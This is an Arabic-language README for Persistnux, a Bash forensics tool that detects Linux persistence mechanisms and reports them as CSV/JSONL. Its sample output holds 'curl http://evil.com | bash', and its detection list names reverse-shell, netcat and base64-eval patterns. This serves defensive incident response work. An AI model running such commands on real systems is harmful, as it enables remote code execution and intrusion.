
أداة كشف الثبات في لينكس مبنية على Bash للتحقيقات الرقمية الجنائية (DFIR). تفحص أكثر من 15 آلية ثبات (systemd، cron، وحدات kernel، SSH، حاويات) مع تسجيل الثقة وتوليد تقارير بصيغ CSV/JSONL للتحليل الجنائي.
أداة شاملة لاكتشاف آليات الثبات في لينكس لأغراض التحقيق الرقمي والاستجابة للحوادث (DFIR).
Persistnux هي أداة مبنية على bash مصممة لتحديد آليات الثبات المعروفة في لينكس التي يستخدمها المهاجمون للحفاظ على الوصول إلى الأنظمة المخترقة. تقوم بإجراء فحوصات شاملة عبر النظام وتوليد تقارير مفصلة بصيغتي CSV و JSONL لمزيد من التحليل.
.service) في /etc/systemd/system، /lib/systemd/system، /usr/lib/systemd/system/etc/crontab، /etc/cron.d/*)/etc/cron.{daily,hourly,weekly,monthly})/etc/cron.allow و /etc/cron.deny (ACL) — الإدخالات التي تشير إلى مستخدمين غير موجودين يتم وضع علامة عليها/etc/profile، /etc/bash.bashrc، /etc/zshrc)/etc/profile.d/*).bashrc، .bash_profile، .zshrc، .profile، إلخ)/etc/rc.local والمتغيرات/etc/init.d)/etc/rc*.d)/etc/ld.so.preload) — يتم التحقق من كل مكتبة مدرجة عبر مدير الحزم/etc/ld.so.conf، /etc/ld.so.conf.d/) — سلامة ملفات الإعداد + فحص ملفات .so في المسارات غير القياسية والتحقق منها/etc/environment (LD_PRELOAD/LD_LIBRARY_PATH) — يتم وضع علامة عالية على ملف البيئة؛ يتم التحقق من مسارات المكتبات المشار إليها (غير مُدارة/معدلة → حرج)/etc/modprobe.d/، /etc/modprobe.conf) — سلامة الملف؛ تحليل توجيهات install لأهداف الأوامر المشبوهة؛ وضع علامة عالية على blacklist لوحدات الأمان (apparmor، selinux، seccomp)/etc/modules، /etc/modules-load.d/) — سلامة الإعداد؛ حل أسماء الوحدات المشار إليها إلى ملفات .ko عبر والتحقق منها.config/autostart، /etc/xdg/autostart) — مسح جميع منازل المستخدمين عند وجود صلاحيات الجذر/etc/environment) — التحقق من مسارات مكتبات LD_PRELOAD/LD_LIBRARY_PATH/etc/sudoers، /etc/sudoers.d/) — أنماط NOPASSWD/ALL → عالية.so عبر مدير الحزم؛ متابعة توجيهات @include؛ تضمين /etc/pam.confpam_exec.so — النصوص المفقودة/المشبوهة → حرجpam_python.so / pam_perl.so — استخراج النص وتحليلهpam_script.so في /etc/security/~/.ssh/authorized_keys لكل مستخدم — يتم وضع علامة على المفاتيح المعدلة مؤخرًا؛ تحليل محتوى خيار command= للأنماط المشبوهة~/.ssh/rc لكل مستخدم — يتم وضع علامة متوسط عند وجود المحتوى؛ محتوى صدف عكسي/مشبوه → عالي/حرجdpkg -V على Debian/Ubuntu، rpm -Va على RHEL/CentOS)/usr/bin، /usr/sbin، /bin، /sbin → نتيجة حرجة/lib/security → نتيجة حرجةinit= في نواة GRUB (/etc/default/grub، /etc/default/grub.d/*.cfg)/pre-pivot التي تكتب إلى /sysroot/etc/shadow/etc/initramfs-tools/scripts/ و /hooks//boot/initrd.img-* المعدلة مؤخرًا (بناءً على mtime).pkla مع ResultAny/ResultInactive/ResultActive=yes غير مشروطةunix-user:*).rules مع polkit.Result.YES غير مشروطة (Polkit قائم على JavaScript >= 0.106)Exec= (/usr/share/dbus-1/system-services/)allow own="*" أو send_destination="*"/etc/NetworkManager/dispatcher.d/)RUN+= في Udev تنفذ أوامر أو نصوص عشوائية (/etc/udev/rules.d/، /lib/udev/rules.d/)/run/udev/rules.d/at/cron في RUN+= (تجاوز شائع لتقييد المقدمة)--privileged، --pid=host)docker.sock داخل الحاويات (تحكم كامل بالمضيف عبر Docker API)nsenter -t 1 في نقاط دخول الحاوية أو Dockerfilesgetcap — cap_setuid+ep على GTFOBins → حرج.original، .old، .bak، .real) مع نصوص تغليف/etc/passwd/etc/passwdauthorized_keys في SSH# استنساخ المستودع
git clone https://github.com/yourusername/persistnux.git
cd persistnux
# جعل البرنامج النصي قابلاً للتنفيذ
chmod +x persistnux.sh
# التشغيل بالإعدادات الافتراضية (يظهر فقط النتائج المشبوهة)
sudo ./persistnux.sh
# عرض المساعدة وجميع الخيارات
./persistnux.sh --help
# التشغيل كمستخدم عادي (نطاق محدود)
./persistnux.sh
بشكل افتراضي، يظهر Persistnux فقط النتائج المشبوهة (متوسط، عالي، حرج) لتقليل الضوضاء والتركيز على التهديدات القابلة للتنفيذ.
# الافتراضي: إظهار النتائج المشبوهة فقط
sudo ./persistnux.sh
# إظهار جميع النتائج بما في ذلك خط الأساس (ثقة منخفضة)
sudo ./persistnux.sh --all
# أو
sudo FILTER_MODE=all ./persistnux.sh
# إظهار النتائج ذات الثقة العالية والحرجة فقط
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh
# دمج المرشحات: ثقة عالية فقط
sudo ./persistnux.sh --min-confidence HIGH
# تحديد دليل إخراج مخصص
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh
# الدمج مع التصفية
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
بشكل افتراضي، يقوم Persistnux بإنشاء دليل إخراج ./persistnux_output/ يحتوي على:
persistnux_<hostname>_<timestamp>.csv - تقرير بصيغة CSVpersistnux_<hostname>_<timestamp>.jsonl - تقرير بصيغة JSONL (كائن JSON واحد لكل سطر)persistnux_<hostname>_<timestamp>_report.txt - تقرير ملخص قابل للقراءة البشرية مع أعداد النتائج وبيانات الفحص الوصفيةtimestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
{
"timestamp": "2026-01-23T10:30:00Z",
"hostname": "webserver01",
"category": "Systemd Service",
"confidence": "HIGH",
"file_path": "/etc/systemd/system/example.service",
"file_hash": "abc123...",
"file_owner": "root:root",
"file_permissions": "644",
"file_age_days": "3",
"package_status": "unmanaged",
"command": "/opt/example.sh",
"description": "example.service",
"matched_pattern": "suspicious_script_content",
"matched_string": "curl http://evil.com | bash"
}
suspicious_script_content، modified_package، unmanaged_binary)يستخدم Persistnux تسجيل ثقة ذكي لتقليل الإيجابيات الخاطئة:
يتضمن Persistnux الآن عدة ميزات لتقليل الإيجابيات الخاطئة:
dpkg (Debian/Ubuntu) أو rpm (RedHat/CentOS) تحصل على درجات ثقة أقليقوم Persistnux تلقائيًا بوضع علامة على العناصر بثقة أعلى عندما يكتشف:
bash -i >& /dev/tcp/، sh -i >& /dev/udp/nc، netcat، socat، telnetpython -c 'import socket'curl | bash، wget | shcurl URL -o /tmp/file && chmod +xbase64 -d | bash، eval $(echo BASE64)eval، exec/tmp، /dev/shm، /var/tmpchmod +x، chmod 777chmod u+sfind، grep، stat، sha256sum، awk، filesystemctl، lsmod، modinfo، getcap، dpkg/rpm (لفحوصات محددة)python/jq)ملاحظة: تم اختبار الأداة بشكل أساسي على أنظمة Ubuntu/Debian. توزيعات RedHat و Fedora والقائمة على RPM لديها دعم مدير الحزم منفذ في الكود ولكن لم يتم التحقق منه في بيئات الاختبار المباشرة. المساهمات وتقارير الاختبار للتوزيعات القائمة على RPM مرحب بها.
يتم قياس Persistnux مقابل PANIX،
الذي يقوم بتثبيت نفس آليات الثبات التي يصطادها Persistnux. يقوم
جهاز الاختبار القابل للتكرار في tests/panix_benchmark.sh بتطبيق كل
تقنية PANIX، وتشغيل Persistnux، وتأكيد الكشف عبر فرق خط الأساس.
يتم اكتشاف كل تقنية PANIX قائمة على الملفات والتي تنطبق على صندوق الاختبار بمستوى ثقة
MEDIUM+. انظر PANIX_BENCHMARK.md للحصول على
جدول التغطية الكامل والمنهجية.
⚠️ يقوم المعيار بتثبيت أبواب خلفية حقيقية — قم بتشغيله فقط في آلة افتراضية قابلة للتخلص.
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX
المساهمات مرحب بها! لا تتردد في تقديم طلبات السحب أو فتح المشكلات من أجل:
رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل
تم تطويره لمجتمع DFIR للمساعدة في الاستجابة للحوادث والتحقيقات الجنائية في لينكس.
هذه الأداة مخصصة فقط لاختبار الأمان المصرح به، الاستجابة للحوادث، والتحليل الجنائي. يتحمل المستخدمون مسؤولية ضمان حصولهم على التفويض المناسب قبل تشغيل هذه الأداة على أي نظام.
للأسئلة أو المشكلات أو المساهمات، يرجى استخدام متتبع المشكلات على GitHub.
modinfolsmod) — تعداد والتحقق من السلامةpam_env.conf و ~/.pam_environment/etc/security//etc/update-motd.d/) — التحقق من الحزمة؛ المعدل → حرج| التوزيعة | الحالة | ملاحظات |
|---|
| Ubuntu 22.04 LTS | ✅ تم الاختبار | منصة التطوير والاختبار الرئيسية |
| Ubuntu 20.04 LTS | ✅ تم الاختبار | مدعوم بالكامل |
| Debian 11/12 | ✅ تم الاختبار | قائم على dpkg، نفس اتفاقيات المسار |
| Kali Linux (rolling) | ✅ تم الاختبار | استخدم لاختبار مرجع PANIX (انظر أدناه) |
| RedHat / RHEL | ⚠️ لم يتم الاختبار بعد | دعم rpm منفذ لكن غير مؤكد على الأنظمة الحية |
| Fedora | ⚠️ لم يتم الاختبار بعد | دعم rpm منفذ لكن غير مؤكد على الأنظمة الحية |
| CentOS / AlmaLinux / Rocky | ⚠️ لم يتم الاختبار بعد | دعم rpm منفذ لكن غير مؤكد على الأنظمة الحية |